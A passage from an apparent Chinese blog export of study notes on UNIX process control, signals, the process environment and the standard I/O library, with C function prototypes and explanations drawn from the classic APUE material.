title="中断的系统调用"></a>中断的系统调用</h1><p>早期UNIX系统的一个特性是:如果在进程执行一个低速系统调用而阻塞期间捕捉到一个信号,则该系统调用就被中断不再继续执行。该系统调用返回出错,其errno设置为EINTR。这样处理的理由是:因为一个信号发生了,进程捕捉到了它,这意味着已经发生了某种事情,所以是个好机会应当唤醒阻塞的系统调用。</p><p>在UNIX系统中,系统调用可以分为两类:低速系统调用(slow system calls)和其他系统调用。</p><ol><li>低速系统调用(低速I/O系统调用):<ul><li>低速系统调用是指可能会阻塞进程并等待某些事件发生的系统调用。例如,读取文件时可能需要等待磁盘I/O操作完成,或者等待网络数据到达等。</li><li>这些调用的执行时间相对较长,因为它们需要等待外部事件的发生。</li><li>低速系统调用的执行过程中,如果捕捉到信号,则调用会被中断,进程可能会被唤醒,系统调用返回错误(通常errno被设置为EINTR)。</li></ul></li><li>其他系统调用(非低速系统调用):<ul><li>其他系统调用通常是不会阻塞进程的,它们的执行时间相对较短,不需要等待外部事件的发生。</li><li>这些调用通常包括对内存、进程管理、文件描述符操作等的操作,例如fork、exec、exit等。</li><li>如果在执行过程中捕捉到信号,通常不会中断这些调用,而是由信号处理程序处理完毕后继续执行。</li></ul></li></ol><p>总的来说,低速系统调用是可能会被信号中断并导致阻塞的系统调用,而其他系统调用通常不会被中断,它们的执行时间较短且不需要等待外部事件。</p><h1 id="可再入函数(可重入)"><a href="#可再入函数(可重入)" class="headerlink" title="可再入函数(可重入)"></a>可再入函数(可重入)</h1><p>进程捕捉到信号并继续执行时,它首先执行该信号处理程序中的指令。如果从信号处理程序返回(例如没有调用exit或longjmp),则继续执行在捕捉到信号时进程正在执行的正常指令序列(这类似于硬件中断发生时所做的)。但在信号处理程序中,不能判断捕捉到信号时进程执行到何处。如果进程正在执行malloc,在其堆中分配另外的存储空间,而此时由于捕捉到信号插入执行该信号处理程序,其中又调用malloc,这时会发生什么?又例如若进程正在执行getpwnam(见6.2节)这种将其结果存放在静态存储单元中的函数,而插入执行的信号处理程序中又调用这样的函数,这时又会发生什么呢?在malloc例中,可能会对进程造成破坏,因为malloc通常为它所分配的存储区保持一个连接表,而插入执行信号处理程序时,进程可能正在更改此连接表。在getpwnam的例子中,正常返回给调用者的信息可能由返回至信号处理程序的信息覆盖。</p><p>实际是内核捕捉信号后,进程执行权交给信号处理函数,此时会中断正在运行的代码,可能会造成函数的重入(一个函数被运行到一半,放弃并再次运行这个函数)</p><p><img src="/2024/05/29/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E4%BF%A1%E5%8F%B7/image-20240529161312736.png" alt="image-20240529161312736"></p><p>可重入函数是指在多个线程或进程同时调用时,函数能够安全地执行而不会导致不正确的结果。这意味着函数内部没有使用任何共享的全局变量或静态变量,并且对于每次调用,函数使用的所有数据都是通过函数参数传递的,而不是通过共享的全局数据。</p><p>具体来说,可重入函数具有以下特性:</p><ol><li>不使用全局变量或静态变量,而是通过参数传递所有需要的数据。</li><li>不修改任何全局状态或静态状态,包括文件IO、堆内存分配等。</li><li>不会被中断时处于不一致状态,即使在信号处理程序中也可以安全地调用。</li></ol><p>可重入函数在多线程环境中非常重要,因为多个线程可能会同时调用同一个函数,如果函数不是可重入的,那么在多线程环境中可能会导致数据不一致或者竞态条件等问题。因此,编写可重入函数是多线程编程中的一个重要考虑因素。</p><h1 id="可靠信号术语和语义"><a href="#可靠信号术语和语义" class="headerlink" title="可靠信号术语和语义"></a>可靠信号术语和语义</h1><h1 id="kill和raise函数"><a href="#kill和raise函数" class="headerlink" title="kill和raise函数"></a>kill和raise函数</h1><p>kill函数将信号发送给进程或进程组。raise函数则允许进程向自身发送信号。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">kill</span><span class="hljs-params">(<span class="hljs-type">pid_t</span> pid, <span class="hljs-type">int</span> signo)</span>;<br><span class="hljs-type">int</span> <span class="hljs-title function_">raise</span><span class="hljs-params">(<span class="hljs-type">int</span> signo)</span>;<br></code></pre></td></tr></table></figure><p><code>kill</code>函数的<code>pid</code>参数有四种不同的情况:</p><ul><li><code>pid > 0</code>:将信号发送给进程ID为<code>pid</code>的进程。</li><li><code>pid == 0</code>:将信号发送给与发送进程的进程组ID相同的所有进程,且发送进程有权限向这些进程发送信号。这里的术语“所有进程”不包括实现定义的系统进程集。</li><li><code>pid < 0</code>:将信号发送给进程组ID等于<code>pid</code>绝对值的所有进程,且发送进程有权限向这些进程发送信号。同样,“所有进程”并不包括系统进程集中的进程。</li><li><code>pid == -1</code>:POSIX.1未定义此种情况。</li></ul><h1 id="alarm和pause函数"><a href="#alarm和pause函数" class="headerlink" title="alarm和pause函数"></a>alarm和pause函数</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">unsigned</span> <span class="hljs-title function_">intalarm</span><span class="hljs-params">(<span class="hljs-type">unsigned</span> <span class="hljs-type">int</span> seconds)</span>;<br></code></pre></td></tr></table></figure><p>使用<code>alarm</code>函数可以设置一个时间值(闹钟时间),在将来的某个时刻该时间值会被超过。当所设置的时间值被超过后,会产生SIGALRM信号。如果不忽略或不捕捉此信号,则其默认动作是终止该进程。</p><p>返回值是以前设置的闹钟时间的剩余秒数。如果之前没有设置过闹钟时间,则返回0。</p><p>如果有以前登记的尚未超过的闹钟时间,而且seconds值是0,则取消以前的闹钟时间,其 余留值仍作为函数的返回值</p><p>每个进程只能有一个闹钟时间。</p><p>pause函数使调用进程挂起直至捕捉到一个信号</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">pause</span><span class="hljs-params">(<span class="hljs-type">void</span>)</span>;<br></code></pre></td></tr></table></figure><p>信息必须有处理 pause才会返回</p>]]></content>
<categories>
<category>Linux</category>
</categories>
<tags>
<tag>Linux</tag>
</tags>
</entry>
<entry>
<title>进程控制</title>
<link href="/2024/05/28/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E8%BF%9B%E7%A8%8B%E6%8E%A7%E5%88%B6/"/>
<url>/2024/05/28/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E8%BF%9B%E7%A8%8B%E6%8E%A7%E5%88%B6/</url>
<content type="html"><![CDATA[<h1 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h1><p>本章介绍UNIX的进程控制,包括创建新进程、执行程序和进程终止。还将说明进程的各 种I D—实际、有效和保存的用户和组I D,以及它们如何受到进程控制原语的影响。本章也包 括了解释器文件和system函数。本章以大多数UNIX系统所提供的进程会计机制结束。这使我 们从一个不同角度了解进程控制功能。</p><h1 id="进程ID"><a href="#进程ID" class="headerlink" title="进程ID"></a>进程ID</h1><p>进程ID (pid)是进程的唯一标识</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">pid_t</span> <span class="hljs-title function_">getpid</span><span class="hljs-params">(<span class="hljs-type">void</span>)</span>; <span class="hljs-comment">//返回:调用进程的进程I D</span><br><span class="hljs-type">pid_t</span> <span class="hljs-title function_">getppid</span><span class="hljs-params">(<span class="hljs-type">void</span>)</span>; <span class="hljs-comment">//返回:调用进程的父进程 I D</span><br><span class="hljs-type">uid_t</span> <span class="hljs-title function_">getuid</span><span class="hljs-params">(<span class="hljs-type">void</span>)</span>; <span class="hljs-comment">//返回:调用进程的实际用户 I D</span><br><span class="hljs-type">uid_t</span> <span class="hljs-title function_">geteuid</span><span class="hljs-params">(<span class="hljs-type">void</span>)</span>; <span class="hljs-comment">//返回:调用进程的有效用户 I D</span><br><span class="hljs-type">gid_t</span> <span class="hljs-title function_">getgid</span><span class="hljs-params">(<span class="hljs-type">void</span>)</span>; <span class="hljs-comment">//返回:调用进程的实际组 I D</span><br><span class="hljs-type">gid_t</span> <span class="hljs-title function_">getegid</span><span class="hljs-params">(<span class="hljs-type">void</span>)</span>; <span class="hljs-comment">//返回:调用进程的有效组 I D</span><br></code></pre></td></tr></table></figure><h1 id="fork函数"><a href="#fork函数" class="headerlink" title="fork函数"></a>fork函数</h1><p>fork函数是UNIX内核创建新进程的唯一方法</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">pid_t</span> <span class="hljs-title function_">fork</span><span class="hljs-params">(<span class="hljs-type">void</span>)</span>;<span class="hljs-comment">//返回:子进程中为0,父进程中为子进程I D,出错为-1</span><br></code></pre></td></tr></table></figure><p>一个进程可以有多个子进程,但是有且只有一个父进程</p><p>子进程总是可以调用getppid以获得其父进程的进程ID</p><p>fork的一个特性是所有由父进程打开的描述符都被复制到子进程中。父、 子进程每个相同的打开描述符共享一个文件表项 (stdin stdout stderr 相同)</p><p><img src="/2024/05/28/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E8%BF%9B%E7%A8%8B%E6%8E%A7%E5%88%B6/image-20240528222711387.png" alt="image-20240528222711387"></p><p>很多父进程的其他性质也由子进程继承:</p><p>• 实际用户I D、</p><p>实际组I D、</p><p>有效用户I D、</p><p>有效组I D。</p><p> • 添加组I D。</p><p> • 进程组I D。 </p><p>• 对话期I D。 </p><p>• 控制终端。 •</p><p> 设置-用户- I D标志和设置-组- I D标志。 </p><p>• 当前工作目录。</p><p>• 根目录。</p><p> • 文件方式创建屏蔽字。</p><p> • 信号屏蔽和排列。 </p><p>• 对任一打开文件描述符的在执行时关闭标志。 </p><p>• 环境。</p><p> • 连接的共享存储段。 </p><p>• 资源限制。</p><p>父、子进程之间的区别是:</p><p>• fork的返回值。</p><p> • 进程I D。 </p><p>• 不同的父进程I D。 </p><p>• 子进程的t m s _ u t i m e , t m s _ s t i m e , t m s _ c u t i m e以及t m s _ u s t i m e设置为0。 • 父进程设置的锁,子进程不继承。 </p><p>• 子进程的未决告警被清除。 </p><p>• 子进程的未决信号集设置为空集。</p><p>f o r k有两种用法: </p><p>(1) 一个父进程希望复制自己,使父、子进程同时执行不同的代码段。这在网络服务进程 中是常见的——父进程等待委托者的服务请求。当这种请求到达时,父进程调用 f o r k,使子进 程处理此请求。父进程则继续等待下一个服务请求。 (多进程并发)</p><p>(2) 一个进程要执行一个不同的程序。这对 s h e l l是常见的情况。在这种情况下,子进程在 从f o r k返回后立即调用e x e c (我们将在8 . 9节说明e x e c )。</p><h1 id="vfork函数"><a href="#vfork函数" class="headerlink" title="vfork函数"></a>vfork函数</h1><p>vfork用于创建一个新进程,而该新进程的目的是exec一个新程序</p><p>vfork与fork一样都创建一个子进程, 但是它并不将父进程的地址空间完全复制到子进程中,因为子进程会立即调用exec (或exit) 不过在子进程调用 e x e c或e x i t之前,它在父进程的空间中运行。也就是可能会改变父进程空间的内容</p><p>vfork和fork之间的另一个区别是:vfork保证子进程先运行,在它调用exec或exit之后父进 程才可能被调度运行(如果在调用这两个函数之前子进程依赖于父进程的进一步动作,则会导致死锁。)</p><h1 id="exit函数"><a href="#exit函数" class="headerlink" title="exit函数"></a>exit函数</h1><p>进程有三种正常终止法及两种异常终止法:</p><p>(1) 正常终止:</p><p>(a) 在main函数内执行return语句。如在7.3节中所述,这等效于调用exit。</p><p>(b) 调用exit函数。此函数由ANSI C定义,其操作包括调用各终止处理程序(终止处理程序在调用atexit函数时注册),然后关闭所有标准I/O流等。因为ANSI C并不处理文件描述符、多进程(父、子进程)以及作业控制,所以这一定义对UNIX系统而言是不完整的。</p><p>(c) 调用_exit系统调用函数。此函数由exit调用,它处理UNIX特定的细节。_exit是由POSIX.1规定的。</p><p>(2) 异常终止:</p><p>(a) 调用abort。它产生SIGABRT信号,所以是下一种异常终止的一种特例。</p><p>(b) 当进程接收到某个信号时(第10章将较详细地说明信号)。进程本身(例如调用abort函数)、其他进程和内核都能产生传送到某一进程的信号。例如,进程越出其地址空间访问存储单元,或者除以0,内核就会为该进程产生相应的信号。</p><p>对于父进程终止的进程,父进程会变为init进程,我们称这些进程由init进程领养</p><p>对于子进程终止时,内核为子进程保留一定信息以供父进程使用wait | waitpid 获取相关信息</p><p>但是对于父进程是init的进程,终止时init会使用wait,以防止内核保存信息</p><h1 id="wait和waitpid函数"><a href="#wait和waitpid函数" class="headerlink" title="wait和waitpid函数"></a>wait和waitpid函数</h1><p>当一个进程正常或异常终止时,内核就向其父进程发送SIGCHLD信号。因为子进程终止 是个异步事件(这可以在父进程运行的任何时候发生 ),所以这种信号也是内核向父进程发的异 步通知。父进程可以忽略该信号,或者提供一个该信号发生时即被调用执行的函数 (信号处理 程序)。对于这种信号的系统默认动作是忽略它。</p><p>调用wait或waitpid的进程可能会:</p><p>• 阻塞(如果其所有子进程都还在运行)。 </p><p>• 带子进程的终止状态立即返回(如果一个子进程已终止,正等待父进程存取其终止状态 )。 </p><p>• 出错立即返回(如果它没有任何子进程)。</p><p>如果进程由于接收到SIGCHLD信号而调用wait,则可期望wait会立即返回。但是如果在一 个任一时刻调用wait,则进程可能会阻塞。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">pid_t</span> <span class="hljs-title function_">wait</span><span class="hljs-params">(<span class="hljs-type">int</span> *statloc)</span>;<br><span class="hljs-type">pid_t</span> <span class="hljs-title function_">waitpid</span><span class="hljs-params">(<span class="hljs-type">pid_t</span> pid, <span class="hljs-type">int</span> *statloc, <span class="hljs-type">int</span> options)</span><br></code></pre></td></tr></table></figure><p>这两个函数的区别是: </p><p>• 在一个子进程终止前, wait 使其调用者阻塞,而 waitpid 有一选择项,可使调用者不阻 塞。</p><p> • waitpid并不等待第一个终止的子进程—它有若干个选择项,可以控制它所等待的进程,比如设置options为WNOHANG可以使调用非阻塞,即使没有子进程退出也会立即返回。</p><p>如果一个子进程已经终止,是一个僵死进程,则wait立即返回并取得该子进程的状态,否则wait使其调用者阻塞直到一个子进程终止。如果调用者阻塞而且它有多个子进程,则在其中一个子进程终止时,wait就立即返回。因为wait返回终止子进程的进程ID,所以它总能了解是哪一个子进程终止了。</p><p>对于waitpid的pid参数的解释与其值有关:</p><ul><li><strong>pid == -1</strong>:等待任一子进程。于是在这一功能方面,waitpid与wait等效。</li><li><strong>pid > 0</strong>:等待其进程ID与pid相等的子进程。</li><li><strong>pid == 0</strong>:等待其组ID等于调用进程的组ID的任一子进程。</li><li><strong>pid < -1</strong>:等待其组ID等于pid的绝对值的任一子进程。</li></ul><p>statloc是in类型参数,函数写入其指向整型并写入子进程终止状态</p><p><img src="/2024/05/28/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E8%BF%9B%E7%A8%8B%E6%8E%A7%E5%88%B6/image-20240528230027942.png" alt="image-20240528230027942"></p><p><img src="/2024/05/28/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E8%BF%9B%E7%A8%8B%E6%8E%A7%E5%88%B6/image-20240528230558060.png" alt="image-20240528230558060"></p><h1 id="wait3和wait4函数"><a href="#wait3和wait4函数" class="headerlink" title="wait3和wait4函数"></a>wait3和wait4函数</h1><h1 id="竞态条件"><a href="#竞态条件" class="headerlink" title="竞态条件"></a>竞态条件</h1><h1 id="exec函数"><a href="#exec函数" class="headerlink" title="exec函数"></a>exec函数</h1><p>当进程调用一种exec函数时,该进程完全由新程序代替,而新程序则从其main函数开始执行。因为调用exec并不创建新进程,所以前后的进程ID并未改变。exec只是用另一个新程序替换了当前进程的正文、数据、堆和栈段。</p><p>执行新程序的进程还保持了原进程的下列特征:</p><ul><li>进程ID和父进程ID。</li><li>实际用户ID和实际组ID。</li><li>添加组ID。</li><li>进程组ID。</li><li>对话期ID。</li><li>控制终端。</li><li>闹钟尚余留的时间。</li><li>当前工作目录。</li><li>根目录。</li><li>文件方式创建屏蔽字。</li><li>文件锁。</li><li>进程信号屏蔽。</li><li>未决信号。</li><li>资源限制。</li><li>tms_utime, tms_stime, tms_cutime以及tms_ustime值。</li></ul>]]></content>
<categories>
<category>Linux</category>
</categories>
<tags>
<tag>Linux</tag>
</tags>
</entry>
<entry>
<title>UNIX进程环境</title>
<link href="/2024/05/28/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/UNIX%E8%BF%9B%E7%A8%8B%E7%8E%AF%E5%A2%83/"/>
<url>/2024/05/28/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/UNIX%E8%BF%9B%E7%A8%8B%E7%8E%AF%E5%A2%83/</url>
<content type="html"><![CDATA[<h1 id="简述"><a href="#简述" class="headerlink" title="简述"></a>简述</h1><p>本章中将学习:当执行程序时,其main函数是如何被调用的,命令行参数是如何传送给执行程序的;典型的存储器布局是 什么样式;如何分配另外的存储空间;进程如何使用环境变量;进程终止的不同方式等。另外,还将说明longjmp和sejmp函数以及它们与栈的交互作用。本章结束之前,还将查看进程的资源限制。</p><h1 id="Main"><a href="#Main" class="headerlink" title="Main"></a>Main</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">(<span class="hljs-type">int</span> argc, <span class="hljs-type">char</span> *argv[])</span> <br></code></pre></td></tr></table></figure><p>当内核起动C程序时(使用一个exec函数,8 . 9节将说明exec函数),在调用main前先调用一 个特殊的起动例程。可执行程序文件将此起动例程指定为程序的起始地址——这是由连接编辑 程序设置的,而连接编辑程序则由 C编译程序(通常是cc)调用。起动例程从内核取得命令行参 数和环境变量值,然后为调用main函数作好安排。</p><h1 id="进程终止"><a href="#进程终止" class="headerlink" title="进程终止"></a>进程终止</h1><p>有五种方式使进程终止: </p><p>(1) 正常终止: </p><p>(a) 从main返回。 </p><p>(b) 调用exit。 </p><p>(c) 调用_ exit。 </p><p>(2) 异常终止: </p><p>(a) 调用abort</p><p>(b) 由一个信号终止</p><h2 id="exit和-e-x-i-t函数"><a href="#exit和-e-x-i-t函数" class="headerlink" title="exit和_ e x i t函数"></a>exit和_ e x i t函数</h2><p>_exit立即进入内核,exit则先执行一些清除处理 (包括调用执行各终止处理程序,关闭所有标准I / O流等),然后进入内核。</p><h1 id="atexit函数"><a href="#atexit函数" class="headerlink" title="atexit函数"></a>atexit函数</h1><p>按照ANSI C的规定,一个进程可以登记多至32个函数,这些函数将由exit自动调用。我们称这些函数为终止处理程序(exit handler),并用atexit函数来登记这些函数。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs cpp"><span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">atexit</span><span class="hljs-params">(<span class="hljs-type">void</span> (*func) (<span class="hljs-type">void</span>))</span> </span>;<br></code></pre></td></tr></table></figure><p>终止处理函数不包含任何参数</p><p><img src="/2024/05/28/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/UNIX%E8%BF%9B%E7%A8%8B%E7%8E%AF%E5%A2%83/image-20240528154012603.png" alt="image-20240528154012603"></p><p>进程也可非自愿地由一个信号使其终止</p><h1 id="命令行参数"><a href="#命令行参数" class="headerlink" title="命令行参数"></a>命令行参数</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">(<span class="hljs-type">int</span> argc, <span class="hljs-type">char</span> *argv[])</span><span class="hljs-comment">//argc 参数个数 argv参数字符串指针数组</span><br></code></pre></td></tr></table></figure><h1 id="环境表"><a href="#环境表" class="headerlink" title="环境表"></a>环境表</h1><p>每个程序都接收到一张环境表。与参数表一样,环境表也是一个字符指针数组,其中每个 指针包含一个以NULL结束的字符串的地址。全局变量environ则包含了该指针数组的地址。 </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">extern</span> <span class="hljs-type">char</span> **environ<br></code></pre></td></tr></table></figure><p><img src="/2024/05/28/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/UNIX%E8%BF%9B%E7%A8%8B%E7%8E%AF%E5%A2%83/image-20240528155139819.png" alt="image-20240528155139819"></p><p>我们称environ为环境指针,指针数组为环境表 (环境表和环境字符串的内存属性是什么?)</p><h1 id="环境变量"><a href="#环境变量" class="headerlink" title="环境变量"></a>环境变量</h1><p>环境字符串的形式是:name=value</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">char</span> *<span class="hljs-title function_">getenv</span><span class="hljs-params">(<span class="hljs-type">const</span> <span class="hljs-type">char</span> *name)</span><span class="hljs-comment">//获取环境变量</span><br></code></pre></td></tr></table></figure>]]></content>
<categories>
<category>Linux</category>
</categories>
<tags>
<tag>Linux</tag>
</tags>
</entry>
<entry>
<title>Linux进程通信-标准IO库</title>
<link href="/2024/05/27/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1-%E6%A0%87%E5%87%86IO%E5%BA%93/"/>
<url>/2024/05/27/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1-%E6%A0%87%E5%87%86IO%E5%BA%93/</url>
<content type="html"><![CDATA[<h1 id="简述"><a href="#简述" class="headerlink" title="简述"></a>简述</h1><p>标准IO库由ANSI C标准说明,标准I / O库是在系统调用函数基础上构造的</p><h1 id="流与FILE对象"><a href="#流与FILE对象" class="headerlink" title="流与FILE对象"></a>流与FILE对象</h1><p>在文件IO中,我们讲述的是对UNIX文件描述符的相关操作,主要是对传统UNIX库函数的讲述,</p><p>对于标准IO库,它们操作则围绕流(stream)进行,流实际是对FILE对象的形式化的名称,FILE对象包含了文件描述符。</p><p>FILE对象的指针。该对象通常是一个结 构,它包含了I/O库为管理该流所需要的所有信息:用于实际 I/O的文件描述符,指向流缓存的指针,缓存的长度,当前在缓存中的字符数,出错标志等等。</p><p>为什么要使用流: 提供缓存功能,尽量减少read write系统调用(IO都会走到这两个系统调用上),以提高性能。</p><h1 id="标准输入,输出,错误"><a href="#标准输入,输出,错误" class="headerlink" title="标准输入,输出,错误"></a>标准输入,输出,错误</h1><p>进程有三个预定义的流 stdin , stdout和stderr 定义在头文件<stdio.h>中</p><h1 id="缓存"><a href="#缓存" class="headerlink" title="缓存"></a>缓存</h1><p>上述提到,FILE的设计是为了提高性能,减少调用系统调用的次数,因此,FILE提供缓存功能</p><p>标准IO提供三种类型缓存</p><ol><li>全缓存,只有缓存区满了之后才进行实际IO操作,当第一次执行IO操作时,通常使用malloc申请缓存空间,flush 刷新</li><li>行缓存,输出输出遇到换行符时进行IO操作,行缓存在一定的长度限制。</li><li>无缓存,等价于直接使用read weite函数</li></ol><p>ANSI C要求下列缓存特征:</p><p>(1) 当且仅当标准输入和标准输出并不涉及交互作用设备时,它们才是全缓存的。 </p><p>(2) 标准出错决不会是全缓存的。</p><p>QS:什么是 交互作用设备?</p><p>使用如下函数更改缓存类型</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">void</span> <span class="hljs-title function_">setbuf</span><span class="hljs-params">(FILE *fp, <span class="hljs-type">char</span> *buf)</span> ;<br><span class="hljs-type">int</span> <span class="hljs-title function_">setvbuf</span><span class="hljs-params">(FILE *fp, <span class="hljs-type">char</span> *buf, <span class="hljs-type">int</span> mode, size _tsize)</span> <br></code></pre></td></tr></table></figure><p><img src="/2024/05/27/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1-%E6%A0%87%E5%87%86IO%E5%BA%93/image-20240527222541463.png" alt="image-20240527222541463"></p><p>mode 参数 _IOFBF 全缓存 _IOLBF 行缓存 _IONBF 不带缓存</p><p>如果带缓存,buf==NULL,会自动为流分配缓存空间</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">fflush</span><span class="hljs-params">(FILE *fp)</span> <span class="hljs-comment">//刷新文件流 如果fp==NULL 刷新所有流</span><br></code></pre></td></tr></table></figure><h1 id="打开文件流"><a href="#打开文件流" class="headerlink" title="打开文件流"></a>打开文件流</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs c">FILE *<span class="hljs-title function_">fopen</span><span class="hljs-params">(<span class="hljs-type">const</span> <span class="hljs-type">char</span> *pathname, <span class="hljs-type">const</span> <span class="hljs-type">char</span> * type)</span> ;<br>FILE *<span class="hljs-title function_">freopen</span><span class="hljs-params">(<span class="hljs-type">const</span> <span class="hljs-type">char</span> *pathname, <span class="hljs-type">const</span> <span class="hljs-type">char</span> * type, FILE* fp)</span> ;<br>FILE *<span class="hljs-title function_">fdopen</span><span class="hljs-params">(<span class="hljs-type">int</span> filedes, <span class="hljs-type">const</span> <span class="hljs-type">char</span> * type)</span> ;<br></code></pre></td></tr></table></figure><p>这三个函数的区别是: (1) fopen打开路径名由pathname 指示的一个文件。 </p><p>(2) freopen在一个特定的流上(由fp指示)打开一个指定的文件(其路径名由pathname 指示), 如若该流已经打开,则先关闭该流。此函数一般用于将一个指定的文件打开为一个预定义的流: 标准输入、标准输出或标准出错。 </p><p>(3) fdopen取一个现存的文件描述符(我们可能从 open , dup , dup2 , fcnt 或pipe函数得到此文 件描述符),并使一个标准的I / O流与该描述符相结合。此函数常用于由创建管道和网络通信通 道函数获得的插述符。因为这些特殊类型的文件不能用标准 I/O fopen函数打开,首先必须先调 用设备专用函数以获得一个文件描述符,然后用 fdopen使一个标准I / O流与该描述符相结合。</p><p><img src="/2024/05/27/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1-%E6%A0%87%E5%87%86IO%E5%BA%93/image-20240527223627456.png" alt="image-20240527223627456"></p><p>Tips: 没看懂2 3的功能 </p><h1 id="读写文件流"><a href="#读写文件流" class="headerlink" title="读写文件流"></a>读写文件流</h1><h2 id="输入函数"><a href="#输入函数" class="headerlink" title="输入函数"></a>输入函数</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">getc</span><span class="hljs-params">(FILE *fp)</span> ;<br><span class="hljs-type">int</span> <span class="hljs-title function_">fgetc</span><span class="hljs-params">(FILE *fp)</span> ;<br><span class="hljs-type">int</span> <span class="hljs-title function_">getchar</span><span class="hljs-params">(<span class="hljs-type">void</span>)</span>;<span class="hljs-comment">//getchar等同于getc(stdin)</span><br></code></pre></td></tr></table></figure><p>getc可被实现为宏,而fgetc则不能实现为宏</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">define</span> getc(_stream) (--(_stream)->_cnt >= 0?0xff & *(_stream)->_ptr++ : _filbuf(_stream))</span><br></code></pre></td></tr></table></figure><p><img src="/2024/05/27/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1-%E6%A0%87%E5%87%86IO%E5%BA%93/image-20240527230224779.png" alt="image-20240527230224779"></p><p>实际是宏完全替换可能导致参数是表达式时产生不止一次的操作</p><p>当出错或者到达文件尾部时,都返回相同的值,为区分不同的情况</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">ferror</span><span class="hljs-params">(FILE *fp)</span> ;<span class="hljs-comment">//出错</span><br><span class="hljs-type">int</span> <span class="hljs-title function_">feof</span><span class="hljs-params">(FILE *fp ;<span class="hljs-comment">//文件结束</span></span><br><span class="hljs-params"><span class="hljs-comment">//两个函数返回:若条件为真则为非 0(真),否则为0(假)</span></span><br><span class="hljs-params"><span class="hljs-type">void</span> clearerr(FILE *fp) </span><br></code></pre></td></tr></table></figure><p>在大多数实现的FILE对象中,为每个流保持了两个标志:</p><p>• 出错标志。 </p><p>• 文件结束标志。 </p><p>调用clearerr则清除这两个标志。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">size_t</span> <span class="hljs-title function_">fread</span><span class="hljs-params">(<span class="hljs-type">void</span> *ptr, size _tsize, size _tnobj, FILE *fp)</span> <br></code></pre></td></tr></table></figure><h2 id="输出函数"><a href="#输出函数" class="headerlink" title="输出函数"></a>输出函数</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td 